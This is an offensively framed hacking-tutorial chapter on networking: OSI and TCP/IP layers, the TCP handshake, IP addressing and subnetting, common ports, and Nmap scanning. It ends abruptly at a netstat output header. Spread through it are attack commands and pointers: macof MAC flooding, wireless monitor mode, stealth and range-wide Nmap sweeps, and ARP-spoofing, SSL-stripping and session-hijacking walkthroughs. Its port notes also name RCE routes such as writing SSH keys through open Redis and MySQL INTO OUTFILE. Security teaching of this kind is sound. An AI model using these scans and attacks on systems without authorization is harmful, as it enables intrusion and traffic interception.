Every hack you'll ever perform involves a network. Whether you're exploiting a remote server, sniffing traffic on a WiFi network, or performing a man-in-the-middle attack, networking knowledge is non-negotiable. This isn't optional learning - it's the foundation that separates script kiddies from real hackers.
Think about it: when you browse a website, send an email, play an online game, or even just have your phone connected to WiFi - networking is happening. Data is flying through the air and cables at incredible speeds, following precise rules, getting routed through dozens of devices. Understanding this invisible world gives you power over it.
This chapter will teach you how networks actually work - from the physical cables carrying electrical signals to the protocols that carry your data across the world. We'll go deep. By the end, you'll understand how every packet flows, where vulnerabilities exist, and how attackers exploit them.
Why This Matters for Hackers
Network attacks are among the most powerful in your arsenal. Here's a taste of what networking knowledge enables:
- ARP Spoofing: Redirect traffic through your machine
- DNS Poisoning: Hijack domain lookups to fake sites
- Man-in-the-Middle: Intercept and modify communications
- Port Scanning: Discover services running on targets
- Packet Analysis: Capture and decode network traffic
- Session Hijacking: Steal authenticated sessions
- WiFi Cracking: Break into wireless networks
- VLAN Hopping: Escape network segmentation
Every single one of these requires deep networking knowledge. Master this chapter and you'll have the foundation for all of them.
What You'll Learn
🌐 Network Fundamentals
What networks are, how they connect, the physical and logical components that make everything work.
📊 The OSI Model
The 7 layers of networking - understand where data flows and where attacks happen at each layer.
🔌 TCP/IP Deep Dive
How data actually travels on the internet, the handshakes, the protocols, the packet structure.
📍 IP Addressing
IPv4, IPv6, subnetting, CIDR notation - the addressing system that locates every device.
🚪 Ports & Services
How services listen for connections, port numbers you must memorize, service enumeration.
🔧 Essential Tools
Nmap, Wireshark, tcpdump, arpspoof - the tools that let you see and manipulate networks.
What is a Network?
A network is simply two or more computers connected together so they can share information. That's it. The internet is just billions of computers connected in a massive network of networks. But understanding the "simple" definition isn't enough - you need to understand HOW they connect, WHY they connect the way they do, and WHERE the vulnerabilities exist.
The Birth of Networks: A Brief History
Understanding where networks came from helps you understand why they have the vulnerabilities they do:
1960s - ARPANET
The U.S. military wanted a network that could survive nuclear attack. They invented packet switching - breaking messages into pieces that can take different routes. Security wasn't a priority - it was a trusted military network.
1970s - TCP/IP Born
Vinton Cerf and Bob Kahn created TCP/IP to connect different networks together. Again, designed for reliability, not security. Everyone on the network was trusted.
1980s - DNS & Expansion
DNS was created so humans could use names instead of numbers. The internet expanded beyond military to universities. Still no encryption, no authentication.
1990s - WWW & Commercialization
The web went public. Suddenly billions of untrusted users were on a network designed for trusted academics. Security was bolted on as an afterthought.
Why Networks Are Insecure by Design
The internet was designed when all users were trusted researchers and military personnel. There was no concept of:
- Malicious actors trying to intercept data
- People impersonating others
- Fake servers pretending to be legitimate
- Denial of service attacks
Every security measure today is a patch on a fundamentally trusting system. This is why hacking works.
Network Types
Networks are categorized by their size, scope, and purpose. Each type has different security implications:
LAN - Local Area Network
Small network in one physical location. Your home WiFi, office network, school computer lab, coffee shop hotspot.
Characteristics:
- High speed (100 Mbps - 10 Gbps)
- Low latency (< 1ms)
- Single administrative control
- Limited geographic area
Hacker interest: ARP spoofing, lateral movement, internal reconnaissance, credential sniffing, rogue DHCP attacks.
WAN - Wide Area Network
Connects multiple LANs across cities, countries, or continents. The internet is the largest WAN. Corporate networks connecting branch offices are also WANs.
Characteristics:
- Variable speed
- Higher latency (10-100+ ms)
- Multiple administrative domains
- Uses leased lines, VPNs, internet
Hacker interest: Remote attacks, BGP hijacking, ISP-level MITM, routing attacks.
WLAN - Wireless LAN
WiFi networks. Incredibly convenient but broadcast signals anyone nearby can intercept. Radio waves don't stop at walls.
Characteristics:
- No physical connection required
- Signal can be intercepted from distance
- Encryption varies (WEP→WPA2→WPA3)
- Susceptible to jamming
Hacker interest: WiFi cracking (WPA2 handshakes), evil twin attacks, deauth attacks, KARMA attacks, PMKID capture.
VPN - Virtual Private Network
Encrypted tunnel through the internet. Makes you appear to be on a different network. Your traffic is encrypted from your device to the VPN server.
Characteristics:
- Encrypted tunnel
- Masks your real IP
- Bypasses geo-restrictions
- Can provide anonymity (sort of)
Hacker interest: VPN bypasses, traffic correlation attacks, VPN provider compromise.
Network Components Deep Dive
Every network is made of hardware components. Understanding each one helps you understand where attacks can occur:
🔌 Network Interface Card (NIC)
# Every device needs a NIC to connect to networks
# NICs have a unique MAC address burned in at manufacturing
# On Linux, view your NIC:
ip link show
# Or older command:
ifconfig -a
# Example output:
eth0: flags=4163 mtu 1500
inet 192.168.1.100 netmask 255.255.255.0
ether 00:11:22:33:44:55 (this is the MAC address)
# Wireless NICs can be put into "monitor mode" for sniffing:
airmon-ng start wlan0
🔄 Switches
Switches connect devices on a LAN. They're smarter than the old "hubs" - they learn which devices are on which ports and only send traffic where it needs to go.
# Switches maintain a MAC address table:
Port 1 → 00:11:22:33:44:55
Port 2 → 00:11:22:33:44:56
Port 3 → 00:11:22:33:44:57
# When a frame arrives for 00:11:22:33:44:56,
# the switch sends it ONLY to Port 2
# ATTACK: MAC Flooding
# Overflow the MAC table with fake entries
# Switch falls back to "hub mode" - broadcasts everything
# Now you can sniff all traffic!
macof -i eth0 # Flood switch with random MACs
🌐 Routers
Routers connect different networks together. Your home router connects your LAN to your ISP's network (which connects to the internet). Routers make decisions about where to send packets based on IP addresses.
# Routers maintain routing tables:
Destination Gateway Interface
192.168.1.0/24 0.0.0.0 eth0 (directly connected)
10.0.0.0/8 192.168.1.1 eth0 (via gateway)
0.0.0.0/0 192.168.1.254 eth0 (default route - the internet)
# View your routing table:
ip route show # Linux
route print # Windows
netstat -rn # macOS/BSD
# ATTACK: Rogue Router
# Set up your own router on a network
# Advertise better routes than the real router
# All traffic comes through you!
🛡️ Firewalls
Firewalls filter network traffic based on rules. They can allow/block based on IP addresses, ports, protocols, and more. Understanding firewalls is crucial for both attack and defense.
# Firewall types:
# 1. Packet Filter - examines individual packets
# 2. Stateful - tracks connection states
# 3. Application Layer - inspects packet contents
# 4. Next-Gen (NGFW) - deep packet inspection, IPS, etc.
# Linux iptables example:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT # Allow SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT # Allow HTTP
iptables -A INPUT -j DROP # Block everything else
# ATTACK: Firewall Bypass
# - Use allowed ports (HTTP/HTTPS)
# - Tunnel through allowed protocols
# - Fragment packets
# - Use IPv6 if only IPv4 is filtered
Key Takeaway
Every component in a network is a potential attack vector. NICs can be spoofed, switches can be overflowed, routers can be impersonated, and firewalls can be bypassed. The more you understand how they work, the more ways you'll find to exploit them.
The OSI Model: 7 Layers of Networking
The OSI (Open Systems Interconnection) model breaks networking into 7 distinct layers. Each layer has a specific job and communicates only with the layers directly above and below it. This model is essential knowledge - it helps you understand where attacks happen and how different parts of the network stack interact.
The 7 Layers Explained In Depth
| Layer |
Name |
Function |
Protocols |
Attacks |
| 7 |
Application |
User-facing services - what apps actually use |
HTTP, FTP, SMTP, DNS, SSH |
XSS, SQLi, phishing, command injection |
| 6 |
Presentation |
Data formatting, encryption, compression |
SSL/TLS, JPEG, ASCII, encryption |
SSL stripping, encoding attacks, POODLE |
| 5 |
Session |
Manages connections, keeps sessions alive |
NetBIOS, RPC, SQL sessions |
Session hijacking, session fixation |
| 4 |
Transport |
End-to-end delivery, error recovery |
TCP, UDP |
SYN floods, port scanning, UDP floods |
| 3 |
Network |
Logical addressing and routing |
IP, ICMP, IPsec |
IP spoofing, ICMP attacks, routing attacks |
| 2 |
Data Link |
Physical addressing, framing |
Ethernet, WiFi (802.11), ARP |
ARP spoofing, MAC flooding, VLAN hopping |
| 1 |
Physical |
Raw bit transmission over physical media |
Cables, radio waves, fiber optics |
Wiretapping, jamming, physical access |
🧠 Memory Tricks
You MUST memorize the OSI layers. Use these mnemonics:
From Layer 7 to 1: "All People Seem To Need Data Processing"
From Layer 1 to 7: "Please Do Not Throw Sausage Pizza Away"
Or make your own - the important thing is you can recite all 7 layers instantly.
Layer 7: Application Layer
This is where humans interact with the network. Every app you use that touches the network operates at Layer 7. Web browsers, email clients, file transfer programs - all Layer 7.
# Layer 7 Protocols you'll encounter:
# HTTP/HTTPS (80/443) - Web traffic
GET /index.html HTTP/1.1
Host: www.example.com
# DNS (53) - Name resolution
nslookup google.com
# SMTP (25) - Email sending
MAIL FROM: attacker@evil.com
RCPT TO: victim@target.com
# FTP (21) - File transfer
ftp target.com
USER anonymous
PASS password
# SSH (22) - Secure shell
ssh user@target.com
Layer 7 Attacks
This is where most vulnerabilities exist. Web application attacks (SQLi, XSS, CSRF), phishing, credential stuffing, API abuse - all Layer 7. Firewalls at lower layers can't protect against these because the traffic looks "normal."
Layer 6: Presentation Layer
The presentation layer handles data formatting. It ensures that data from Layer 7 is in a format that can be transmitted and understood by the receiving system. Encryption happens here!
# Layer 6 handles:
# - Encryption/Decryption (SSL/TLS)
# - Data compression
# - Character encoding (ASCII, UTF-8)
# - Data serialization (JSON, XML)
# TLS Handshake (simplified):
Client: "Hello! I support TLS 1.3, here are my cipher suites"
Server: "Hello! Let's use TLS 1.3 with AES-256-GCM, here's my cert"
Client: [Verifies certificate]
Both: [Generate session keys using Diffie-Hellman]
Both: "All further communication is encrypted!"
Layer 6 Attack: SSL Stripping
Attacker intercepts HTTP→HTTPS redirects and keeps the victim on HTTP while connecting to the server via HTTPS. Victim thinks they're secure but attacker sees everything in plaintext!
Victim → [HTTP] → Attacker → [HTTPS] → Server
# Victim sees http://bank.com
# Attacker decrypts all traffic
Layer 5: Session Layer
The session layer manages connections between applications. It handles authentication, reconnection, and checkpointing for long transfers.
# Session layer manages:
# - Session establishment
# - Session maintenance (keep-alives)
# - Session termination
# - Checkpointing (resume interrupted transfers)
# Web sessions use cookies:
Set-Cookie: session_id=abc123; HttpOnly; Secure
# Session hijacking - if you steal the cookie, you ARE the user
# Attacker sniffs network traffic
# Captures session cookie
# Injects cookie into own browser
# Now logged in as victim!
Layer 4: Transport Layer
The transport layer provides end-to-end communication. This is where TCP and UDP live. The transport layer segments data, handles flow control, and ensures reliability (if using TCP).
# TCP Header (simplified):
| Source Port | Destination Port |
| Sequence Number |
| Acknowledgment Number |
| Flags (SYN, ACK, FIN, RST, PSH)|
| Window Size |
| Checksum |
# Flags are crucial for understanding TCP:
SYN = "I want to start a connection"
ACK = "I acknowledge your message"
FIN = "I want to close the connection"
RST = "Something's wrong, abort!"
PSH = "Send this data immediately"
# Common Layer 4 attacks:
# SYN Flood - exhaust connection table
# Port Scanning - discover open services
# UDP Flood - overwhelm with UDP traffic
Layer 3: Network Layer
The network layer handles logical addressing (IP addresses) and routing. This is where packets are routed across different networks to reach their destination.
# IP Header (simplified):
| Version | Header Length | Type of Service |
| Total Length |
| Identification | Flags | Fragment Offset |
| TTL | Protocol | Header Checksum |
| Source IP Address |
| Destination IP Address |
# TTL (Time To Live):
# Each router decrements TTL by 1
# When TTL = 0, packet is dropped
# Prevents infinite routing loops
# Traceroute exploits this!
traceroute google.com
# Sends packets with TTL=1, 2, 3, etc.
# Each router sends back "TTL exceeded"
# Maps the entire route!
Layer 2: Data Link Layer
The data link layer handles physical addressing (MAC addresses) and framing. This is where ARP operates, making it the target of many local network attacks.
# Ethernet Frame:
| Preamble | Dest MAC | Source MAC | Type | Data | FCS |
# MAC Address format:
00:11:22:33:44:55
# First 3 bytes = Manufacturer (OUI)
# Last 3 bytes = Unique device ID
# ARP (Address Resolution Protocol):
# Maps IP addresses to MAC addresses
# ARP Request (broadcast):
"Who has 192.168.1.1? Tell 192.168.1.100"
# ARP Reply:
"192.168.1.1 is at AA:BB:CC:DD:EE:FF"
# ARP SPOOFING - The classic MITM attack
# Attacker sends fake ARP replies
# "192.168.1.1 (gateway) is at [ATTACKER MAC]"
# "192.168.1.100 (victim) is at [ATTACKER MAC]"
# All traffic flows through attacker!
Layer 1: Physical Layer
The physical layer is actual hardware - cables, radio waves, electrical signals, light pulses in fiber optics. No logical processing happens here, just raw bit transmission.
Copper Cables
Ethernet cables (Cat5e, Cat6). Electrical signals over twisted pairs. Susceptible to electromagnetic interference and wiretapping.
Fiber Optics
Light pulses through glass. Extremely fast, immune to EMI, very hard to tap without detection.
Wireless (Radio)
Radio waves through air. Most vulnerable - anyone in range can capture signals. Encryption essential!
Coaxial Cable
Older technology, still used for cable internet and some LANs. More resistant to interference than twisted pair.
TCP/IP: How Data Actually Travels
While OSI is a theoretical model, TCP/IP is what the internet actually uses. It's a 4-layer model that governs all internet communication. Understanding TCP/IP at a deep level is essential for network hacking - every scan, every exploit, every packet you craft uses TCP/IP.
TCP/IP vs OSI Comparison
| TCP/IP Layer |
OSI Equivalent |
Protocols |
Function |
| Application |
Layers 5, 6, 7 |
HTTP, FTP, SMTP, DNS, SSH |
User-facing protocols and data formatting |
| Transport |
Layer 4 |
TCP, UDP |
End-to-end communication, reliability |
| Internet |
Layer 3 |
IP, ICMP, ARP (sort of) |
Logical addressing, routing |
| Network Access |
Layers 1, 2 |
Ethernet, WiFi |
Physical transmission and framing |
TCP vs UDP: The Two Transport Protocols
At the transport layer, you have two choices: TCP (reliable but slower) or UDP (fast but unreliable). Understanding when each is used helps you understand network traffic.
TCP - Transmission Control Protocol
Connection-oriented, reliable delivery. Guarantees packets arrive in order. If one is lost, it's retransmitted.
Uses:
- Web browsing (HTTP/HTTPS)
- Email (SMTP, IMAP, POP3)
- File transfer (FTP, SFTP)
- Remote access (SSH, Telnet)
- Anything that can't lose data
Trade-off: Slower due to handshakes, acknowledgments, and retransmissions. More overhead.
UDP - User Datagram Protocol
Connectionless, unreliable. No guarantee packets arrive, no guarantee they're in order. "Fire and forget."
Uses:
- Video streaming (lost frame? skip it)
- Online gaming (speed > perfection)
- DNS queries (small, single packet)
- VoIP calls (real-time audio)
- Anything where speed matters more
Trade-off: No reliability. Packets can be lost, duplicated, or arrive out of order.
The TCP Three-Way Handshake
Before TCP can send any data, it must establish a connection. This is the famous "three-way handshake" - you'll see this pattern everywhere in networking.
CLIENT SERVER
| |
| ---- SYN (seq=100) -----------------------> | Step 1: Client initiates
| "Hey, I want to talk" | (sends SYN flag)
| |
| <--- SYN-ACK (seq=300, ack=101) ----------- | Step 2: Server acknowledges
| "OK, I'm listening, go ahead" | (sends SYN + ACK)
| |
| ---- ACK (ack=301) -----------------------> | Step 3: Client confirms
| "Great, let's begin" | (sends ACK)
| |
| ========== CONNECTION ESTABLISHED ========== |
| |
| ---- DATA: "GET /index.html" -------------> | Now data can flow!
| <--- ACK -------------------------------- | Server acknowledges receipt
| <--- DATA: "HTTP/1.1 200 OK..." ---------- | Server sends response
| ---- ACK --------------------------------> | Client acknowledges
| |
# Why sequence numbers?
# They track which bytes have been sent/received
# If packet 3 is lost, server says "I'm missing 3!"
# Client retransmits ONLY packet 3
# Flag meanings:
SYN = "Synchronize" - I want to start a connection
ACK = "Acknowledge" - I received your message
FIN = "Finish" - I want to close the connection
RST = "Reset" - Something's wrong, abort everything
PSH = "Push" - Send this data immediately, don't buffer
TCP Connection Termination
CLIENT SERVER
| |
| ---- FIN (seq=500) -----------------------> | Step 1: Client wants to close
| |
| <--- ACK (ack=501) ----------------------- | Step 2: Server acknowledges
| |
| <--- FIN (seq=700) ----------------------- | Step 3: Server also closes
| |
| ---- ACK (ack=701) -----------------------> | Step 4: Client confirms
| |
| ============ CONNECTION CLOSED ============= |
# This is a "graceful" close
# Both sides agree to terminate
# RST flag = "hard" close - something went wrong
🔥 SYN Flood Attack (Classic DoS)
Attackers exploit the handshake by sending thousands of SYN packets but never completing the handshake. The server allocates resources for each half-open connection, waiting for ACKs that never come.
# Attack flow:
Attacker → SYN → Server # Server allocates memory, waits
Attacker → SYN → Server # More memory, more waiting
Attacker → SYN → Server # Even more...
[10,000 more SYN packets]
Server: "I can't accept any more connections!"
# Legitimate users can't connect because:
# - Connection table is full
# - Memory exhausted
# - CPU busy processing fake connections
# Defense: SYN cookies
# Server doesn't allocate resources until handshake completes
# Uses cryptographic cookies in sequence numbers
Understanding Packet Structure
Every packet on the network has headers from multiple layers stacked together. Understanding this structure is crucial for packet crafting and analysis.
# Complete packet structure (Ethernet + IP + TCP + Data):
ETHERNET HEADER (14 bytes)
├── Destination MAC (6 bytes)
├── Source MAC (6 bytes)
└── EtherType (2 bytes) → 0x0800 = IPv4
IP HEADER (20+ bytes)
├── Version (4 bits) → 4 = IPv4
├── Header Length (4 bits)
├── Type of Service (1 byte)
├── Total Length (2 bytes)
├── Identification (2 bytes)
├── Flags + Fragment Offset (2 bytes)
├── TTL - Time To Live (1 byte)
├── Protocol (1 byte) → 6 = TCP, 17 = UDP
├── Header Checksum (2 bytes)
├── Source IP (4 bytes)
└── Destination IP (4 bytes)
TCP HEADER (20+ bytes)
├── Source Port (2 bytes)
├── Destination Port (2 bytes)
├── Sequence Number (4 bytes)
├── Acknowledgment Number (4 bytes)
├── Data Offset + Flags (2 bytes)
├── Window Size (2 bytes)
├── Checksum (2 bytes)
└── Urgent Pointer (2 bytes)
DATA PAYLOAD
└── Your actual data (HTTP request, file, etc.)
Wireshark: Seeing Packets in Action
Wireshark lets you capture and analyze network traffic. Here's how to see the three-way handshake in real life:
# Start Wireshark, capture on your interface
# Filter for TCP handshakes:
tcp.flags.syn == 1
# You'll see packets like:
No. Time Source Destination Info
1 0.0000 192.168.1.100 93.184.216.34 [SYN] Seq=0
2 0.0234 93.184.216.34 192.168.1.100 [SYN, ACK] Seq=0 Ack=1
3 0.0235 192.168.1.100 93.184.216.34 [ACK] Seq=1 Ack=1
# Filter for HTTP traffic:
http
# Filter for specific host:
ip.host == google.com
# Filter for specific port:
tcp.port == 443
# Follow a TCP stream (reconstructs the full conversation):
Right-click packet → Follow → TCP Stream
Practical Exercise
Open Wireshark, start capturing, then open a website in your browser. Watch the handshake happen in real-time. See the SYN, SYN-ACK, ACK, then the HTTP request/response. This will cement your understanding!
TCP State Machine
TCP connections move through various states. Understanding these helps you understand port scan results and connection issues:
# TCP Connection States:
LISTEN # Server waiting for connections (port is "open")
SYN-SENT # Client sent SYN, waiting for response
SYN-RECEIVED # Server received SYN, sent SYN-ACK
ESTABLISHED # Connection is active, data can flow
FIN-WAIT-1 # Client sent FIN, waiting for ACK
FIN-WAIT-2 # Client received ACK, waiting for server's FIN
TIME-WAIT # Waiting before fully closing
CLOSE-WAIT # Server received FIN, sending remaining data
LAST-ACK # Server sent FIN, waiting for final ACK
CLOSED # Connection is fully closed
# View active connections:
netstat -an # All connections, numeric addresses
ss -tunap # Linux - socket statistics
IP Addresses: The Internet's Addressing System
Every device on a network needs a unique address so other devices know where to send data. IP addresses are those addresses - they're the fundamental way the internet routes traffic from source to destination. As a hacker, you'll work with IP addresses constantly - scanning them, spoofing them, tracing them, and exploiting them.
IPv4 Addresses
IPv4 is the original internet addressing system. It uses 32 bits to create addresses, giving us about 4.3 billion possible addresses (which we've run out of!).
# IPv4 format: Four numbers (0-255) separated by dots
192.168.1.100
# Each number is called an "octet" (8 bits = 1 byte)
# Total: 4 octets × 8 bits = 32 bits
# Breaking down into binary:
192 = 11000000 (128 + 64 = 192)
168 = 10101000 (128 + 32 + 8 = 168)
1 = 00000001 (1)
100 = 01100100 (64 + 32 + 4 = 100)
# Full binary: 11000000.10101000.00000001.01100100
# Total possible IPv4 addresses:
2^32 = 4,294,967,296 (about 4.3 billion)
# Problem: Earth has 8 billion people with multiple devices each
# We've completely run out of IPv4 addresses!
# Solutions: NAT, CGNAT, and IPv6
IP Address Classes (Historical)
Originally, IP addresses were divided into classes. While classful networking is obsolete, you'll still hear these terms:
| Class |
First Octet Range |
Default Mask |
Networks |
Hosts/Network |
| A |
1-126 |
255.0.0.0 (/8) |
128 |
16+ million |
| B |
128-191 |
255.255.0.0 (/16) |
16,384 |
65,534 |
| C |
192-223 |
255.255.255.0 (/24) |
2+ million |
254 |
| D |
224-239 |
N/A |
Multicast |
N/A |
| E |
240-255 |
N/A |
Reserved |
N/A |
Special IP Addresses You MUST Know
| Address/Range |
Purpose |
Hacker Notes |
| 127.0.0.1 |
Localhost - your own machine |
SSRF attacks often target this. Services "only listening on localhost" can be reached via SSRF. |
| 127.0.0.0/8 |
Entire loopback range |
127.0.0.2, 127.1.2.3 - all point to your machine. Can bypass naive filters! |
| 10.0.0.0/8 |
Private network (Class A) |
Large organizations. 16 million addresses. Internal networks, not internet-routable. |
| 172.16.0.0/12 |
Private network (Class B) |
172.16.0.0 - 172.31.255.255. Common in corporate networks. |
| 192.168.0.0/16 |
Private network (Class C) |
Your home network! 192.168.0.0 - 192.168.255.255. Most common private range. |
| 0.0.0.0 |
All addresses / unspecified |
Binding to 0.0.0.0 = listen on ALL interfaces. Dangerous if unintended! |
| 255.255.255.255 |
Broadcast |
Sent to everyone on local network. DHCP uses this. |
| 169.254.0.0/16 |
Link-local (APIPA) |
Assigned when DHCP fails. Indicates network misconfiguration. |
Public vs Private IP Addresses
# PUBLIC IP:
# - Unique across the entire internet
# - Assigned by your ISP
# - Routable on the internet
# - Example: 203.45.67.89
# PRIVATE IP:
# - Only unique within your local network
# - Assigned by your router (DHCP)
# - NOT routable on the internet
# - Examples: 192.168.1.100, 10.0.0.50, 172.16.5.25
# How do private IPs access the internet?
# NAT - Network Address Translation
# Your computer: 192.168.1.100
# Sends packet to: 93.184.216.34 (example.com)
# Router translates:
# Source: 192.168.1.100 → Your public IP (203.45.67.89)
# Reply comes back to your public IP
# Router remembers and forwards to 192.168.1.100
# This is why you can't directly connect to 192.168.1.100 from outside
# You need port forwarding or a reverse shell!
Why Private IPs Matter for Hacking
Understanding private vs public IPs is crucial for:
- Pivoting: Once inside a network, you can reach private IPs the internet can't
- SSRF: Trick servers into making requests to internal (private) resources
- Reverse shells: Your callback needs to go to your PUBLIC IP, not private
- Internal recon: Mapping 10.x, 172.x, 192.168.x networks reveals infrastructure
Subnetting: Dividing Networks
Subnetting divides a network into smaller pieces. The subnet mask determines which part of an IP address is the "network" portion and which is the "host" portion.
# Subnet mask basics:
IP: 192.168.1.100
Subnet: 255.255.255.0 (or /24 in CIDR notation)
# The subnet mask divides the IP:
# 255 in binary = 11111111 (all 1s = network portion)
# 0 in binary = 00000000 (all 0s = host portion)
# 255.255.255.0 means:
# First 3 octets (192.168.1) = Network address (identifies which network)
# Last octet (100) = Host address (identifies device on that network)
# On this network (192.168.1.0/24):
# 192.168.1.0 = Network address (identifies the network itself)
# 192.168.1.1 = Usually the gateway (your router)
# 192.168.1.2-254 = Available hosts (253 usable addresses)
# 192.168.1.255 = Broadcast address (reaches all hosts)
# Calculate number of hosts:
# /24 = 8 host bits = 2^8 = 256 addresses
# Minus 2 (network + broadcast) = 254 usable hosts
CIDR Notation
CIDR (Classless Inter-Domain Routing) is the modern way to express subnets. The number after the slash indicates how many bits are the network portion.
# CIDR examples:
/32 = 255.255.255.255 = 1 address (single host)
/31 = 255.255.255.254 = 2 addresses (point-to-point links)
/30 = 255.255.255.252 = 4 addresses (2 usable - tiny subnet)
/29 = 255.255.255.248 = 8 addresses (6 usable)
/28 = 255.255.255.240 = 16 addresses (14 usable)
/27 = 255.255.255.224 = 32 addresses (30 usable)
/26 = 255.255.255.192 = 64 addresses (62 usable)
/25 = 255.255.255.128 = 128 addresses (126 usable)
/24 = 255.255.255.0 = 256 addresses (254 usable) - typical home network
/23 = 255.255.254.0 = 512 addresses
/22 = 255.255.252.0 = 1,024 addresses
/16 = 255.255.0.0 = 65,536 addresses
/8 = 255.0.0.0 = 16,777,216 addresses
# Quick calculation:
# Hosts = 2^(32 - CIDR) - 2
# /24 → 2^8 - 2 = 254 usable hosts
# /16 → 2^16 - 2 = 65,534 usable hosts
IPv6: The Future
IPv6 uses 128 bits instead of 32, giving us... a lot more addresses. Like, incomprehensibly more.
# IPv6 format: Eight groups of 4 hex digits
2001:0db8:85a3:0000:0000:8a2e:0370:7334
# Can be shortened:
# Leading zeros dropped: 2001:db8:85a3:0:0:8a2e:370:7334
# Consecutive zeros collapsed: 2001:db8:85a3::8a2e:370:7334
# Total possible addresses:
2^128 = 340,282,366,920,938,463,463,374,607,431,768,211,456
# That's 340 undecillion - enough for billions of addresses per atom on Earth
# Special IPv6 addresses:
::1 = Localhost (like 127.0.0.1)
:: = All zeros (unspecified)
fe80::/10 = Link-local (like 169.254.x.x)
fc00::/7 = Unique local (like private IPv4)
2000::/3 = Global unicast (public addresses)
# Hacker note: Many networks have IPv6 enabled but unsecured!
# Firewalls configured for IPv4 might ignore IPv6 traffic
IPv6 Security Implications
IPv6 opens new attack surfaces:
- Dual-stack systems may have weaker IPv6 security
- IPv6 doesn't need NAT, so internal devices may be directly reachable
- Neighbor Discovery Protocol (NDP) is vulnerable to attacks similar to ARP spoofing
- Many security tools don't fully support IPv6 yet
Ports: Apartment Numbers for Services
If an IP address is a building's street address, ports are apartment numbers. They direct network traffic to specific services running on a machine. A single server with one IP can run dozens of different services - each listening on a different port.
Port Basics
# Port numbers range from 0 to 65535 (2^16)
# Port categories:
# Well-known ports (0-1023):
# Reserved for privileged services
# Require root/admin to bind (on Unix)
# Standard protocols live here
# Registered ports (1024-49151):
# Applications can register with IANA
# Common applications use these
# Dynamic/Ephemeral ports (49152-65535):
# Used for client-side connections
# Your browser uses a random port here to connect to servers
# Example: You visit https://google.com
Your browser: 192.168.1.100:54321 → Google: 142.250.80.14:443
(random ephemeral) (standard HTTPS port)
Ports You MUST Know
These ports appear constantly in hacking. Memorize them.
| Port |
Service |
Protocol |
Security Notes |
| 20/21 |
FTP (Data/Control) |
TCP |
Cleartext credentials! Anonymous login often enabled. Active vs Passive mode. |
| 22 |
SSH |
TCP |
Secure shell. Bruteforce target. Look for weak creds, key-based auth. |
| 23 |
Telnet |
TCP |
CLEARTEXT! All traffic visible. Easy credential sniffing. Should never be used. |
| 25 |
SMTP |
TCP |
Email sending. User enumeration (VRFY, EXPN). Open relay abuse. |
| 53 |
DNS |
TCP/UDP |
Zone transfers expose all subdomains. DNS spoofing. Cache poisoning. |
| 80 |
HTTP |
TCP |
Unencrypted web. XSS, SQLi, CSRF, LFI, RFI, RCE... endless vulns. |
| 110 |
POP3 |
TCP |
Email retrieval. Often cleartext. Bruteforce creds. |
| 111 |
RPCbind |
TCP/UDP |
Sun RPC. Maps services to ports. Enumeration gold. |
| 135 |
MS-RPC |
TCP |
Windows RPC. Many exploits. Required for DCOM. |
| 139 |
NetBIOS |
TCP |
Windows networking. SMB over NetBIOS. Legacy attacks. |
| 143 |
IMAP |
TCP |
Email retrieval. Can be cleartext. Bruteforce target. |
| 443 |
HTTPS |
TCP |
Encrypted web. App-level vulns still exist! Certificate issues. |
| 445 |
SMB |
TCP |
Windows file sharing. EternalBlue! Ransomware favorite. Null sessions. |
| 993 |
IMAPS |
TCP |
Secure IMAP over TLS. Still bruteforceable. |
| 995 |
POP3S |
TCP |
Secure POP3 over TLS. |
| 1433 |
MSSQL |
TCP |
Microsoft SQL Server. Default creds (sa/empty). xp_cmdshell RCE! |
| 1521 |
Oracle |
TCP |
Oracle database. SID enumeration. Default creds. |
| 3306 |
MySQL |
TCP |
MySQL database. Root with no password? INTO OUTFILE for shell. |
| 3389 |
RDP |
TCP |
Remote Desktop. Bruteforce. BlueKeep! Man-in-the-middle possible. |
| 5432 |
PostgreSQL |
TCP |
Postgres database. COPY for file read/write. RCE possible. |
| 5900 |
VNC |
TCP |
Virtual Network Computing. Weak auth. Bruteforce. Screen scraping. |
| 6379 |
Redis |
TCP |
Redis cache. Usually NO AUTH! Write SSH keys for RCE. |
| 8080 |
HTTP-Alt |
TCP |
Alternative HTTP. Often dev/test servers. Proxy servers. |
| 27017 |
MongoDB |
TCP |
MongoDB. Often NO AUTH! Exposed databases everywhere. |
Port Scanning with Nmap
Port scanning is fundamental reconnaissance. Nmap is the king of port scanners.
# Basic scans:
nmap 192.168.1.1 # Scan top 1000 ports
nmap -p 80,443 192.168.1.1 # Scan specific ports
nmap -p- 192.168.1.1 # Scan ALL 65535 ports (slow)
nmap -p 1-1000 192.168.1.1 # Scan port range
# Scan types:
nmap -sT 192.168.1.1 # TCP Connect (full handshake, logs everywhere)
nmap -sS 192.168.1.1 # SYN scan (stealthy, half-open) [default, needs root]
nmap -sU 192.168.1.1 # UDP scan (slow, unreliable)
nmap -sV 192.168.1.1 # Version detection (what software?)
nmap -sC 192.168.1.1 # Default scripts (basic vuln scan)
nmap -A 192.168.1.1 # Aggressive (OS, versions, scripts, traceroute)
nmap -O 192.168.1.1 # OS detection
# Speed (T0=slowest/stealthiest, T5=fastest/loudest):
nmap -T4 192.168.1.1 # Fast and reasonably quiet
# Output:
nmap -oN scan.txt # Normal output
nmap -oX scan.xml # XML output
nmap -oG scan.gnmap # Grepable output
nmap -oA scan # All formats at once
# Network scanning:
nmap -sn 192.168.1.0/24 # Ping sweep (find live hosts)
nmap -sn 10.0.0.0/8 --min-rate 1000 # Fast sweep of huge network
Understanding Scan Results
# Port states in nmap:
open # Service is listening and accepting connections
# This is what you want to find!
closed # Port is accessible but no service listening
# Host is up, port responded with RST
filtered # Nmap can't determine if open or closed
# Firewall/packet filter blocking probes
unfiltered # Port is accessible, nmap can't tell if open/closed
# Only appears in ACK scans
open|filtered # Nmap can't determine between open or filtered
# Common with UDP scans
closed|filtered # Nmap can't determine between closed or filtered
# Rare
The Art of Port Scanning
Port scanning isn't just running nmap. Consider:
- Stealth: Will IDS/IPS detect you? Use slower scans, fewer ports
- Completeness: Sometimes valuable services run on non-standard ports
- Version info: Knowing "Apache 2.4.49" vs just "port 80 open" changes everything
- UDP: Everyone forgets UDP. DNS, SNMP, DHCP - major attack surfaces!
- Timing: Scan during business hours to blend with normal traffic
Listening vs Connecting
# LISTENING: Server waiting for connections
# The service "opens" a port and waits
# Check listening ports:
netstat -tlnp # Linux: TCP listening ports with PID
netstat -ulnp # Linux: UDP listening ports with PID
ss -tlnp # Linux: Modern alternative to netstat
netstat -an # Windows: All connections
# Example output:
Proto Local Address Foreign Address State PID
